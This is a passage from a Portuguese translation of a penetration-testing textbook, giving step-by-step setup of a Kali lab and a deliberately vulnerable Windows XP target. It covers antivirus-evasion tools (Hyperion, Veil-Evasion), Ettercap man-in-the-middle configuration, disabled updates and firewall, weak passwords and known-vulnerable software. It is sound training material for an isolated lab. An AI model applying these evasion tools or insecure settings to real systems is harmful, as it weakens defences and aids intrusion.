49Capítulo 1 ■ Configurando o seu laboratório virtual 6. Depois de retornar ao prompt de root sem que tenha havido erros, o Nessus deverá estar instalado, e você verá uma mensagem como esta: All plugins loaded Fetching the newest plugins from nessus.org... Fetching the newest updates from nessus.org... Done. The Nessus server will start processing these plugins within a minute nessusd (Nessus) 5.2.5 [build N25109] for Linux Copyright (C) 1998 - 2014 Tenable Network Security, Inc Processing the Nessus plugins... [##################################################] All plugins loaded - You can start nessusd by typing /etc/init.d/nessusd start - Then go to https://kali:8834/ to configure your scanner 7. Agora digite o comando a seguir para iniciar o Nessus: root@kali:~# /etc/init.d/nessusd start 8. Abra o URL https://kali:8834/ no navegador web Iceweasel. Você deverá ver um aviso de certificado SSL semelhante ao que está sendo mostrado na figura 1.10. Figura 1.10 – Aviso de certificado SSL inválido. N O T A Se você acessar o Nessus de fora do navegador Iceweasel no Kali, será necessário usar https://<endereço IPdoKali>:8834 no lugar do endereço anterior.
Testes de invasão50 9. Expanda I Understand the Risks (Entendo os riscos) e clique em Add Exception (Adicionar exceção). Em seguida, clique em Confirm Security Exception (Confirmar exceção de segurança), como mostrado na figura 1.11. Figura 1.11 – Confirmando a exceção de segurança. 10. Clique em Get Started (Iniciar) na parte inferior à esquerda da página de abertura do Nessus e digite um nome de usuário e uma senha na página seguinte. Em meu exemplo, escolhi georgia:password. Se preferir algo dife- rente, lembre-se desses dados porque usaremos o Nessus no capítulo 6. (Observe que uso senhas fracas ao longo deste livro, como ocorrerá com vários clientes que você conhecerá. Em ambiente de produção, utilize senhas bem melhores do que password.) 11. Na página seguinte, insira o código de ativação recebido da Tenable Security por email. 12. Após ter se registrado junto à Tenable Security, selecione a opção para fazer download dos plugins (o download consumirá um pouco de tempo). Depois que o Nessus processar os plugins, ele será inicializado.
51Capítulo 1 ■ Configurando o seu laboratório virtual Quando o Nessus terminar de efetuar o download dos plugins e de configurar o software, você deverá ver a tela de login do Nessus, conforme mostrado na fi- gura 1.12. Você poderá usar as credenciais da conta criada durante o processo de instalação para efetuar o login. Figura 1.12 – Tela de login da interface web do Nessus. Para encerrar o Nessus, basta fechar a sua aba no navegador. Retornaremos ao Nessus no capítulo 6. Instalando softwares adicionais Ainda não terminamos. Siga estas instruções para completar a sua instalação do Kali Linux. Compilador Ming C Precisamos instalar um cross-compilador (cross compiler) para que possamos compilar código C, de modo a executá-lo em sistemas Microsoft Windows. O compilador Ming está incluído nos repositórios do Kali Linux, porém não é instalado por default. Instale-o por meio deste comando: root@kali:~# apt-get install mingw32
Testes de invasão52 Hyperion Usaremos o programa de criptografia Hyperion para evitar os softwares anti- vírus. O Hyperion atualmente não está incluído nos repositórios do Kali. Faça o download do Hyperion usando wget, descompacte-o e compile-o com o cross- -compilador Ming instalado no passo anterior, conforme mostrado na listagem 1.2. Listagem 1.2 – Instalando o Hyperion root@kali:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip root@kali:~# unzip Hyperion-1.0.zip Archive: Hyperion-1.0.zip creating: Hyperion-1.0/ creating: Hyperion-1.0/FasmAES-1.0/ root@kali:~# i586-mingw32msvc-c++ Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe --trecho omitido-- Veil-Evasion O Veil-Evasion é uma ferramenta que gera executáveis de payloads que podem ser usados para evitar soluções comuns de antivírus. Instale o Veil-Evasion Kali (veja a listagem 1.3) inicialmente efetuando o seu download por meio do comando wget. Em seguida, descompacte o arquivo master.zip baixado e vá para o diretório Veil-master/setup. Por fim, digite ./setup.sh e siga os prompts default. Listagem 1.3 – Instalando o Veil-Evasion root@kali:~# wget https://github.com/ChrisTruncer/Veil/archive/master.zip --2015-11-26 09:54:10-- https://github.com/ChrisTruncer/Veil/archive/master.zip --trecho omitido-- 2015-11-26 09:54:14 (880 KB/s) - `master.zip' saved [665425] root@kali:~# unzip master.zip Archive: master.zip 948984fa75899dc45a1939ffbf4fc0e2ede0c4c4 creating: Veil-Evasion-master/ --trecho omitido-- inflating: Veil-Evasion-master/tools/pyherion.py root@kali:~# cd Veil-Evasion-master/setup root@kali:~/Veil-Evasion-master/setup# ./setup.sh ========================================================================= [Web]: https://www.veil-evasion.com | [Twitter]: @veilevasion
53Capítulo 1 ■ Configurando o seu laboratório virtual ========================================================================= [*] Initializing Apt Dependencies Installation --trecho omitido— Do you want to continue? [Y/n]? Y --trecho omitido-- root@kali:~# Ettercap O Ettercap é uma ferramenta para realizar ataques do tipo man-in-the-middle (homem-no-meio). Antes de executá-lo pela primeira vez, é necessário fazer algumas alterações em seu arquivo de configuração em /etc/ettercap/etter.conf. Abra esse ar- quivo de configuração a partir de um prompt de root no Kali usando o editor nano. root@kali:~# nano /etc/ettercap/etter.conf Inicialmente, altere os valores de userid e de groupid para 0 para que o Ettercap possa ser executado com privilégios de root. Faça rolagens até ver as linhas a seguir no arquivo. Substitua qualquer valor que estiver após os sinais de igual (=) por um 0. [privs] ec_uid = 0 # ninguém é o default ec_gid = 0 # ninguém é o default Agora faça rolagens até à seção Linux do arquivo e remova o comentário (apague o caractere # na frente) das duas linhas mostradas em e em na listagem 1.4 para definir as regras de firewall de Iptables, de modo a redirecionar o tráfego. Listagem 1.4 – O arquivo de configuração do Ettercap #--------------- # Linux #--------------- # se ipchains for usado: #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport" #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport" # se iptables for usado: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" Salve o arquivo e saia ao teclar Ctrl-X e, em seguida, Y para salvar as alterações.
Testes de invasão54 Configurando emuladores de Android Agora iremos instalar três emuladores de Android no Kali, que serão usados nos testes de dispositivos móveis no capítulo 20. Inicialmente, devemos fazer o download do Android SDK. 1. Abra o navegador web Iceweasel a partir do Kali e acesse https://developer. android.com/sdk/index.html. 2. Faça o download da versão atual do ADT bundle para Linux 32 bits e salve-a em seu diretório root. 3. Abra um terminal, liste os arquivos ali presentes (ls) e descompacte o arqui- vo que acabou de ser baixado usando o unzip (os x’s representam o nome de seu arquivo, pois as versões podem ter mudado desde que este livro foi publicado). root@kali:~# unzip adt-bundle-Linux-x86-xxxxxxxxxxx.zip 4. Agora use cd para acessar o novo diretório (com o mesmo nome que o arquivo, sem a extensão .zip). # cd sdk/tools # ./android 5. O Android SDK Manager deverá ser aberto, como mostrado na figura 1.13. Figura 1.13 – O Android SDK Manager.
55Capítulo 1 ■ Configurando o seu laboratório virtual Faremos o download de quaisquer atualizações do Android SDK tools e do Android SDK platform tools (selecionados por default), bem como do Android 4.3 e de duas versões mais antigas do Android contendo vulnerabilidades específicas: o Android 2.2 e o Android 2.1. Marque as caixas à esquerda de cada versão de Android. Em seguida, [com Updates/New (Atualizações/Novos) e Installed (Instalado) sele- cionados], clique em Install packages (Instalar pacotes), conforme mostrado na figura 1.14. Aceite o acordo de licença, e o Android SDK deverá baixar e instalar os pacotes selecionados. É provável que a instalação demore alguns minutos. Figura 1.14 – Instalando o software do Android. Agora é hora de configurar nossos dispositivos Android virtuais. Abra o Android SDK Manager e selecione Tools4Manage AVDs (Ferramentas4Gerenciar AVDs). Você deverá ver a janela mostrada na figura 1.15. Criaremos três emuladores de Android baseados no Android 4.3, 2.2 e 2.1, como mostrado na figura 1.16. Utilize os valores apresentados na figura em cada emu- lador, porém configure o valor de Target (Alvo) com a versão de Android do emulador que você quer criar [as versões do Google API do Android 4.3 (Google APIs versão 18), 2.2 (Google APIs versão 8) e 2.1 (Google APIs versão 7)]. Preencha o campo AVD Name (Nome do AVD) com um valor descritivo. Adicione um valor baixo para SD Card (100 MB deve ser mais do que suficiente) para que você possa fazer download de arquivos em seus emuladores de Android. Configure Device para Nexus 4 e Skin para Skin with dynamic hardware controls (Skin com controles dinâmicos de hardware). Deixe o restante das opções com seus valores default.
Testes de invasão56 Figura 1.15 – Android Virtual Device Manager (Gerenciador de dispositivos Android virtuais). Figura 1.16 – Criando um emulador de Android.
57Capítulo 1 ■ Configurando o seu laboratório virtual Depois de ter criado todos os três emuladores, o seu AVD Manager deverá ter a aparência mostrada na figura 1.17 (os nomes dos dispositivos poderão ser dife- rentes, é claro). Figura 1.17 – Emuladores de Android criados no Android Virtual Device Manager. Para iniciar um emulador, selecione-o e clique em Start (Iniciar). Em seguida, clique em Launch (Disparar) no diálogo pop-up, como mostrado na figura 1.18. Figura 1.18 – Iniciando um emulador de Android.
Testes de invasão58 Pode ser que sejam necessários alguns minutos para que o emulador seja iniciado da primeira vez, mas, uma vez que isso seja feito, você deverá ter algo que se parece muito com um dispositivo Android de verdade. O emulador do Android 4.3 está sendo mostrado na figura 1.19. Figura 1.19 – Emulador do Android 4.3. N O T A Para executar os emuladores de Android no Kali, é provável que seja necessário aumentar o desempenho de sua máquina virtual aumentando a sua RAM e os (núcleos (core) de CPU. Posso executar todos os três emuladores com 3 GB de RAM e dois cores de CPU alocados no Kali. Essas alterações podem ser feitas nas configurações da máquina virtual em seu produto VMware. O nível de eficiência proporcionado ao Kali dependerá, é claro, dos recursos disponíveis em seu computador host. Como alternativa, em vez de executar os emuladores de Android no Kali Linux, você pode instalar o Android e os emuladores em seu sistema host ou até mesmo em outro sistema na rede local. Os exercícios do capítulo 20 funcionarão, desde que os emuladores possam se comunicar com o Kali. Smartphone Pentest Framework A seguir, faça o download e instale o Smartphone Pentest Framework (SPF), que usaremos para atacar dispositivos móveis. Utilize o comando git para fazer o download do código-fonte. Vá para o diretório Smartphone-Pentest-Framework baixado, como mostrado aqui: root@kali:~# git clone -b SPFBook https://github.com/georgiaw/Smartphone-Pentest-Framework.git root@kali:~# cd Smartphone-Pentest-Framework
59Capítulo 1 ■ Configurando o seu laboratório virtual Agora abra o arquivo kaliinstall no editor de texto nano. As primeiras linhas estão sendo mostradas na listagem 1.5. Observe as linhas que se referem a /root/adt-bundle-linux -x86-20131030/sdk/tools/android. Se o nome da pasta de seu ADT bundle for diferente (por causa da disponibilização de uma versão mais recente), altere esse valor para que corresponda ao local correto em que você instalou o Android ADT na seção anterior. Listagem 1.5 – Instalando o Smartphone Pentest Framework root@kali:~/Smartphone-Pentest-Framework# nano kaliinstall #!/bin/sh ## Instala os pacotes necessários echo -e "$(tput setaf 1)\nInstallin serialport, dbdpg, and expect for perl\n"; echo "$(tput sgr0)" echo -e "$(tput setaf 1)#########################################\n"; echo "$(tput sgr0)" echo $cwd; #apt-get -y install libexpect-perl libdbd-pg-perl libdevice-serialport-perl; apt-get install ant /root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-4 -a /root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_ apis-google-4 -a /root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-14 -a /root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_ apis-google-14 -a --trecho omitido-- Agora execute o script kaliinstall, como mostrado aqui: root@kali:~/Smartphone-Pentest-Framework# ./kaliinstall Isso fará o SPF ser instalado, o qual será usado no capítulo 20. Por fim, devemos fazer mais uma alteração no arquivo de configuração do SPF. Vá para o diretório Smartphone-Pentest-Framework/frameworkconsole e abra o arquivo config no nano. Procure a opção #LOCATION OF ANDROID SDK. Se o nome da pasta de seu ADT bundle mudar em relação à versão corrente na época desta publicação, altere-o de acordo com essa mudança na linha que começa com ANDROIDSDK=. root@kali:~/Smartphone-Pentest-Framework# cd frameworkconsole/ root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# nano config --trecho omitido-- #LOCATION OF ANDROID SDK ANDROIDSDK = /root/adt-bundle-linux-x86-20131030/sdk --trecho omitido--
Testes de invasão60 Máquinas virtuais-alvo Usaremos três computadores-alvo criados de forma personalizada para simular vulnerabilidades frequentemente encontradas em ambientes de cliente; usaremos o Ubuntu 8.10, o Windows XP SP3 e o Windows 7 SP1. Você encontrará um link para um torrent que contém a máquina virtual Ubuntu em http://www.nostarch.com/pentesting/. O sistema-alvo está compactado por meio da compressão 7-Zip e 1stPentestBook?! é a senha do arquivo. Você pode usar programas 7-Zip para abrir os arquivos compactados em todas as plataformas. Para os pacotes Windows e Linux, utilize http://www.7-zip.org/download.html; para o Mac OS, use Ez7z, disponível em http://ez7z.en.softonic.com/mac/. O arquivo compactado estará pronto para ser usado assim que for descompactado. Para instalar as máquinas virtuais Windows, será preciso instalar e configurar o Windows XP SP3 e o Windows 7 SP1 para 32 bits. As fontes para a mídia de instalação incluem o TechNet e o MSDN (o Microsoft Developer Network), entre outras. (Você poderá usar suas máquinas virtuais Windows como trial durante 30 dias, sem uma chave de licença.) Criando o alvo Windows XP O seu alvo Windows XP deve ser constituído de uma instalação básica do Windows XP SP3, sem nenhuma atualização adicional de segurança. (Acesse o meu site em http://www.bulbsecurity.com/ para obter mais informações sobre como encontrar uma cópia do Windows XP.) Depois que você tiver uma cópia do Windows XP SP3, aqui está o modo de instalá-lo no Microsoft Windows ou no Mac OS. VMware Player no Microsoft Windows Para instalar o Windows XP no VMware Player para Windows: 1. Selecione Create A New Virtual Machine (Criar uma nova máquina virtual) no VMware Player e aponte o New Virtual Machine Wizard (Assistente para nova máquina virtual) para o disco de instalação ou a imagem ISO do Windows XP. De acordo com o seu disco fonte ou a imagem, você terá a opção de usar o Easy Install (se você estiver instalando uma versão com uma chave de licença), ou poderá ver um aviso em um triângulo amarelo que diz: “Could not detect which operating system is in this disc image.
61Capítulo 1 ■ Configurando o seu laboratório virtual You will need to specify which operating system will be installed.” (Não foi possível detectar o sistema operacional que está nessa imagem de disco. Será necessário especificar o sistema operacional que será instalado). Nesse último caso, basta clicar em Next (Próximo). 2. No diálogo Select a Guest Operating System (Selecionar um sistema operacional guest), selecione Microsoft Windows na seção Guest operating system (Sistema ope- racional Guest) e a sua versão do Windows XP na caixa suspensa, como mostrado na figura 1.20, e clique em Next (Próximo). Figura 1.20 – Selecionando a sua versão de Windows XP. 3. No próximo diálogo, digite Bookxp XP SP3 para o nome de sua máquina virtual e clique em Next. 4. No diálogo Specify Disk Capacity (Especificar a capacidade do disco), aceite o tamanho recomendado para o disco rígido de sua máquina virtual, que é de 40 GB, e selecione a opção Store virtual disk as a single file (Armazenar o disco virtual como um único arquivo), conforme mostrado na figura 1.21, e clique em Next. N O T A A máquina virtual não ocupará todos os 40 GB; ela ocupará somente o espaço em seu disco rígido à medida que for necessário. Esse é somente um valor máximo. 5. No diálogo Ready to Create Virtual Machine (Pronto para criar a máquina virtual), mostrado na figura 1.22, clique em Customize Hardware (Personalizar o hardware).
Testes de invasão62 Figura 1.21 – Especificando a capacidade do disco. Figura 1.22 – Personalizando o seu hardware. 6. No diálogo Hardware, selecione Network Adapter (Adaptador de rede), e no campo Network Connection (Conexão de rede) que for apresentado, selecione Bridged: Connected directly to the physical network (Com bridge: conectado diretamente à rede física). Em seguida, clique em Configure Adapters (Configurar adaptadores) e selecione o adaptador que você estiver usando para se conectar com a In- ternet, como mostrado na figura 1.23. Então clique em OK, em Close (Fechar) e em Finish (Finalizar).
63Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.23 – Configurando o seu adaptador de rede como bridged (com bridge). Agora você deverá ser capaz de executar a sua máquina virtual Windows XP. Continue com as instruções para a instalação e a ativação do Windows XP em “Instalando e ativando o Windows” na página 63. VMware Fusion no Mac OS NoVMware Fusion,acesse File4New4Import from disk or image (Arquivo4Novo4Importar de disco ou de imagem) e aponte-o para o disco de instalação ou para a imagem do Windows XP, conforme mostrado na figura 1.24. Siga os prompts para criar uma nova instalação do Windows XP SP3. Instalando e ativando o Windows Como parte do processo de instalação, você será solicitado a fornecer uma chave de licença do Windows. Se tiver uma, digite-a aqui. Caso contrário, você poderá usar a máquina virtual como trial durante 30 dias. Para prosseguir sem fornecer uma chave de licença, clique em Next (Próximo) quando uma chave for solicitada. Uma janela pop-up avisará que o fornecimento de uma chave de licença é reco- mendado e perguntará se você gostaria de fornecer uma agora, como mostrado na figura 1.25. Basta clicar em No (Não).
Testes de invasão64 Figura 1.24 – Criando uma nova máquina virtual. Figura 1.25 – Diálogo para a chave de licença. Como mostrado na figura 1.26, quando solicitado, defina Computer name (Nome do computador) para Bookxp. Configure Administrator password (Senha do administrador) com password.
65Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.26 – Definindo o nome do computador e a senha de administrador. Você pode deixar as configurações de data/hora e de TCP/IP com seus valores defaults, quando solicitado a fornecê-las. De modo semelhante, deixe o alvo Windows XP como parte do grupo de trabalho WORKGROUP, em vez de associá- lo a um domínio, conforme mostrado na figura 1.27. Figura 1.27 – Configurações do grupo de trabalho. Informe ao Windows para não instalar automaticamente as atualizações de se- gurança, conforme mostrado na figura 1.28. Esse passo é importante, pois alguns dos exploits que executaremos dependem da ausência de patches no Windows.
Testes de invasão66 Figura 1.28 – Desativando as atualizações automáticas de segurança. Então você será solicitado a ativar o Windows. Se uma chave de licença foi forne- cida, vá em frente e ative-o. Do contrário, você poderá selecionar No, remind me every few days (Não, lembrar mais tarde), como mostrado na figura 1.29. Figura 1.29 – Ativando o Windows. Agora crie as contas de usuário georgia e secret, conforme mostrado na figura 1.30. Criaremos senhas para esses usuários depois que a instalação estiver concluída.
67Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.30 – Adicionando usuários. Quando o Windows iniciar, faça login como o usuário georgia, sem fornecer uma senha. Instalando o VMware Tools Agora instale o VMware Tools, que facilitará o uso de sua máquina virtual, por exemplo, ao permitir que você copie/cole e arraste programas para a máquina virtual a partir do sistema host. VMware Player no Microsoft Windows No VMware Player, instale o VMware Tools a partir de Player4Manage4Install VMware Tools (Player4Administração4Instalar o VMware Tools), conforme mostrado na figura 1.31. O instalador do VMware Tools deverá ser executado automaticamente no Windows XP. VMware Fusion no Mac OS Instale o VMware Tools a partir de Virtual Machines4Install VMware Tools (Máquinas virtuais4Instalar o VMware Tools), conforme mostrado na figura 1.32. O insta- lador do VMware Tools deverá ser executado automaticamente no Windows XP.
Testes de invasão68 Figura 1.31 – Instalando o VMware Tools no VMware Player. Figura 1.32 – Instalando o VMware Tools no VMware Fusion.
69Capítulo 1 ■ Configurando o seu laboratório virtual Desativando o Windows Firewall Agora abra o Control Panel (Painel de controle) a partir no menu Start (Iniciar) do Windows. Clique em Security Center4Windows Firewall (Central de segurança4Firewall do Windows) para desativar o firewall do Windows, como mostrado na figura 1.33. Figura 1.33 – Desativando o firewall do Windows. Configurando as senhas dos usuários Novamente no Control Panel (Painel de controle), acesse User Accounts (Contas de usuário). Clique no usuário georgia e selecione Create a password (Criar uma senha). Configure a senha de georgia para password, como mostrado na figura 1.34. Faça o mesmo para o usuário secret, porém defina a senha desse usuário como Password123. Figura 1.34 – Configurando a senha de um usuário.
Testes de invasão70 Configurando um endereço IP estático A seguir, defina um endereço IP estático para que suas informações de rede não se alterem à medida que você trabalhar neste livro. Entretanto, inicialmente, devemos descobrir o endereço de nosso gateway default. Certifique-se de que o seu sistema Windows XP esteja configurado para usar uma rede com bridge no VMware. Por padrão, sua máquina virtual irá obter automaticamente um endereço IP usando o DHCP. Para descobrir o gateway default, abra um prompt de comandos do Windows acessando Start4Run (Iniciar4Executar), digite cmd e clique em OK. No prompt de comandos, digite ipconfig. Isso fará as informações de rede serem apresentadas, incluindo o gateway default. C:\Documents and Settings\georgia>ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : XXXXXXXX IP Address. . . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\Documents and Settings\georgia> No meu caso, o endereço IP é 192.168.20.10, a máscara de sub-rede é 255.255.255.0 e o gateway default é 192.168.20.1. 1. No Control Panel (Painel de controle), acesse Network and Internet Connections (Conexões de rede e de Internet) e clique em Network Connections (Conexões de rede) na parte inferior da tela. 2. Clique com o botão direito do mouse em Local Area Connection (Conexão local) e selecione Properties (Propriedades). 3. Selecione Internet Protocol (TCP/IP) e selecione Properties (Propriedades). Agora digite um endereço IP estático e defina a máscara de sub-rede e o gateway default para que estejam de acordo com os dados descobertos por meio do comando ipconfig, como mostrado na figura 1.35. Defina Preferred DNS server (Servidor DNS de preferência) com o seu gateway default também.
71Capítulo 1 ■ Configurando o seu laboratório virtual Agora é hora de verificar se nossas máquinas virtuais podem se comunicar. Depois que você tiver certeza de que as configurações estão corretas, retorne à máquina virtual Kali (inicie-a, caso você a tenha desligado) e digite ping <endereço IP estático de sua máquina virtual Windows XP>, como mostrado aqui. Figura 1.35 – Configurando um endereço IP estático. N O T A O meu endereço IP é 192.168.20.10. Ao longo do livro, você deverá substituir esse valor pelo endereço IP de seus sistemas. root@kali:~# ping 192.168.20.10 PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data. 64 bytes from 192.168.20.10: icmp_req=1 ttl=128 time=3.06 ms ^C Tecle Ctrl-C para interromper o comando ping. Se você vir uma saída que comece com 64 bytes from <endereço ip do XP>, como mostrado anteriormente, suas máquinas virtuais poderão se comunicar. Parabéns! Você configurou uma rede de máquinas virtuais. Se,em vez disso,você vir uma mensagem que inclua o texto Destination Host Unreachable (Host destino inacessível), verifique se há problemas em sua rede: certifique-se de que suas máquinas virtuais estão na mesma rede virtual com bridge, verifique se o seu gateway default está correto e assim por diante.
Testes de invasão72 Fazendo o XP atuar como se fosse membro de um domínio Windows Por fim, devemos modificar uma configuração do Windows XP para que ele se comporte como se fosse membro de um domínio Windows, como ocorrerá com muitos de seus clientes. Não farei você configurar todo um domínio Windows aqui, porém, durante a fase de pós-exploração de falhas, alguns exercícios simu- larão um ambiente de domínio. Volte para a sua máquina virtual XP e siga os passos a seguir: 1. Selecione Start4Run (Iniciar4Executar) e digite secpol.msc para abrir o painel Local Security Settings (Configurações locais de segurança). 2. Expanda Local Policies (Políticas locais) à esquerda e dê um clique duplo em Security Options (Opções de segurança) à direita. 3. Na lista Policy (Políticas) no painel à direita, dê um clique duplo em Network access: Sharing and security model for local accounts (Acesso à rede: modelo de compar- tilhamento e de segurança para contas locais) e selecione Classic – local users authenticate as themselves (Clássico – usuários locais se autenticam como eles mesmos) na lista suspensa, como mostrado na figura 1.36. Figura 1.36 – Alterando uma configuração local de segurança para que seu alvo atue como membro de um domínio Windows. 4. Clique em Apply (Aplicar) e, em seguida, em OK. 5. Feche qualquer janela que estiver aberta em sua máquina virtual.
73Capítulo 1 ■ Configurando o seu laboratório virtual Instalando softwares vulneráveis Nesta seção, instalaremos alguns softwares vulneráveis em sua máquina virtual Windows XP. Atacaremos esses softwares em capítulos posteriores. Abra a sua máquina virtual Windows XP e, enquanto continua logado com o usuário georgia, siga as instruções para instalar cada um dos pacotes listados aqui: Zervit 0.4 Faça download do Zervit versão 0.4 a partir de http://www.exploit-db.com/exploits/12582/. (Clique na opção Vulnerable App para fazer o download dos arquivos.) Descom- pacte o arquivo baixado e dê um clique duplo no programa Zervit para abri-lo e executá-lo. Em seguida, digite o número de porta 3232 no console quando o software iniciar. Responda Y para permitir a listagem de diretórios, como mos- trado na figura 1.37. O Zervit não será reiniciado automaticamente quando você fizer o boot do Windows XP novamente, portanto será necessário reiniciá-lo caso isso ocorra. Figura 1.37 – Iniciando o Zervit 0.4. SLMail 5.5 Faça o download e execute o SLMail versão 5.5 a partir de http://www.exploit-db. com/exploits/638/, usando as opções default quando solicitado. Basta clicar em Next (Próximo) para todas as opções, sem alterar nada. Se você vir um aviso sobre um nome de domínio, basta ignorá-lo e clicar em OK. Não precisamos realmente enviar nenhum email nesse caso.
Testes de invasão74 Depois que o SLMail estiver instalado, reinicie a sua máquina virtual. Em seguida, abra Start4All Programs4SL Products4SLMail4SLMail Configuration (Iniciar4Todos os progra- mas4Produtos SL4SLMail4Configurações do SLMail). Na aba Users (Usuários) de- fault, clique com o botão direito do mouse na janela SLMail Configuration (Configurações do SLMail) e selecione New4User (Novo4Usuário), como mostrado na figura 1.38. Figura 1.38 – Adicionando um usuário ao SLMail. Clique no ícone do usuário que acabou de ser criado, insira o nome do usuário georgia e preencha as informações para esse usuário, como mostrado na figura 1.39. O nome do mailbox deve ser georgia, com senha igual a password. Mantenha os valores default e clique em OK após terminar. Figura 1.39 – Configurando as informações do usuário no SLMail.
75Capítulo 1 ■ Configurando o seu laboratório virtual 3Com TFTP 2.0.1 Em seguida, faça o download de 3Com TFTP versão 2.0.1, que está na forma de um arquivo compactado, a partir de http://www.exploit-db.com/exploits/3388/. Extraia os arquivos e copie 3CTftpSvcCtrl e 3CTftpSvc para o diretório C:\Windows, como mostrado na figura 1.40. Figura 1.40 – Copiando o 3Com TFTP para C:\Windows. Em seguida, abra 3CTftpSvcCtrl (o ícone 3 azul) e clique em Install Service (Instalar o serviço), conforme mostrado na figura 1.41. Figura 1.41 – Instalando o 3Com TFTP.
Testes de invasão76 Clique em Start Service (Iniciar o serviço) para iniciar o 3Com TFTP pela primeira vez. A partir de agora, ele será iniciado automaticamente quando você fizer o boot do computador. Clique em Quit para sair. XAMPP 1.7.2 Agora iremos instalar uma versão mais antiga do software XAMPP, a versão 1.7.2, a partir de http://www.oldapps.com/xampp.php?old_xampp=45/. (A versão mais antiga do Internet Explorer no Windows XP parece ter alguns problemas para abrir essa página.) Se você tiver problemas, faça o download do software a partir de seu sistema host e copie-o para o desktop do Windows XP. 1. Execute o instalador e aceite as opções default conforme elas forem apre- sentadas a você. Quando a instalação estiver concluída, selecione a opção 1. start XAMPP Control Panel (1. iniciar o Painel de controle do XAMPP), como mostrado na figura 1.42. Figura 1.42 – Iniciando o XAMPP Control Panel (Painel de controle do XAMPP). 2. No XAMPP Control Panel, instale os serviços Apache, MySQL e FileZilla (marque a caixa de seleção Svc à esquerda do nome do serviço). Em seguida, clique no botão Start (Iniciar) de cada serviço. Sua tela deverá ter a aparência mostrada na figura 1.43. 3. Clique no botão Admin para o FileZilla no XAMPP Control Panel. O painel Admin está sendo mostrado na figura 1.44. 4. Acesse Edit4Users (Editar4Usuários) para abrir o diálogo Users (Usuários), mostrado na figura 1.45.
77Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.43 – Instalando e iniciando os serviços XAMPP. Figura 1.44 – O painel Admin do FileZilla. 5. Clique no botão Add (Adicionar) à direita da caixa de diálogo. 6. Na caixa de diálogo Add User Account (Adicionar conta de usuário), digite georgia e clique em OK. 7. Com georgia selecionado, marque a caixa Password (Senha) em Account Settings (Configurações da conta) e digite password.
Testes de invasão78 Figura 1.45 – Adicionando um usuário de FTP. Clique em OK. Quando solicitado a compartilhar uma pasta, vá até a pasta Do- cuments de georgia no Windows e selecione-a para compartilhá-la, conforme mostrado na figura 1.46. Deixe os valores default para todas as demais caixas de seleção, como mostrado na figura. Clique em OK após ter terminado e saia das várias janelas abertas. Figura 1.46 – Compartilhando uma pasta por meio de FTP.
79Capítulo 1 ■ Configurando o seu laboratório virtual Adobe Acrobat Reader Agora instalaremos a versão 8.1.2 do Adobe Acrobat Reader a partir de http://www. oldapps.com/adobe_reader.php?old_adobe=17/. Siga os prompts default para instalá-lo. Após ter concluído, clique em Finish (Finalizar). (Nesse caso, novamente, pode ser que seja necessário fazer o download do arquivo em seu sistema host e copiá-lo para o desktop do Windows XP.) War-FTP A seguir, faça o download e instale a versão 1.65 do War-FTP a partir de http://www.exploit-db.com/exploits/3570/. Faça o download do executável de exploit-db.com para o desktop de georgia e execute o arquivo baixado para efetuar a instalação. Não é necessário iniciar o serviço FTP; iremos ativá-lo quando dis- cutirmos o desenvolvimento de exploits nos capítulos de 16 a 19. WinSCP Faça o download e instale a versão mais recente do WinSCP a partir de http://winscp.net/. Selecione a opção Typical Installation (Instalação típica). Você pode desmarcar a seleção dos add-ons adicionais. Após ter concluído, clique em Finish (Finalizar). Instalando o Immunity Debugger e o Mona Agora iremos concluir a configuração da máquina virtual Windows XP ao instalar um depurador, que é uma ferramenta para ajudar a detectar erros em programas de computador. Usaremos o depurador nos capítulos referentes ao desenvolvimento de exploits. Acesse a página de registro do Immunity Debugger em http://debugger. immunityinc.com/ID_register.py. Preencha a página de registro e, em seguida, clique no botão Download. Execute o instalador. Ao ser interrogado se você deseja instalar o Python, clique em Yes (Sim). Aceite o acordo de licença e siga os prompts default de instalação. Ao fechar o instalador, a instalação do Python será executada automaticamente. Utilize os valores default na instalação. Depois que o Immunity Debugger e o Python estiverem instalados, faça o download do mona.py a partir de http://redmine.corelan.be/projects/mona/repository/ raw/mona.py/. Copie mona.py para C:\Program Files\Immunity Inc\Immunity Debugger\ PyCommands, como mostrado na figura 1.47.
Testes de invasão80 Figura 1.47 – Instalando o Mona. Abra o Immunity Debugger e, no prompt de comandos na parte inferior da janela, digite !mona config -set workingfolder c:\logs\%p, como mostrado na figura 1.48. Esse co- mando diz ao mona para efetuar o log de sua saída em C:\logs\<nome do programa>, em que <nome do programa> corresponde ao programa que o Immunity Debugger estiver depurando no momento. Figura 1.48 – Configurando os logs do Mona. Agora o nosso alvo Windows XP está configurado e pronto para executar.
